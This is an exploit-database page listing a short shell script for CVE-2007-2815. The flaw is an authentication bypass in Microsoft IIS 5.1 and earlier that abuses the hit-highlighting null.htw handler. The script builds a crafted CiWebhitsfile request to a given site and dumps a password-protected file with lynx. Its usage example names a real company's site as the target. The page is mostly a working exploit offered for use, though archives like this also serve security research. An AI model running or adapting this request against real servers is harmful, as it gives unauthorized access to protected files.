Sploitus

Microsoft IIS <= 5.1 Hit Highlighting Authentication Bypass Exploit

CVE-2007-2815

seebug · 2007-06-02

Exploit Code

MARKDOWN17 lines
## https://sploitus.com/exploit?id=SSV:6897
#
# NTLM &amp;amp;&amp;amp; BASIC AUTH BYPASS :)
#
# sha0[at]badchecksum.net
# Based on my adv: http://www.securityfocus.com/bid/24105/info   (CVE-2007-2815)

if [ $# != 2 ]
then
        printf &amp;quot;USAGE:\t\t$0 &amp;lt;Site&amp;gt; &amp;lt;Protected Object&amp;gt;\nExample:\t$0 http://www.microsoft.com  /en/us/default.aspx\n\n&amp;quot;;
        exit 0
fi

site=$1
protectedObject=$2
evil=$site'/shao/null.htw?CiWebhitsfile='$protectedObject'&amp;amp;CiRestriction=b&amp;amp;CiHiliteType=full'
lynx -dump $evil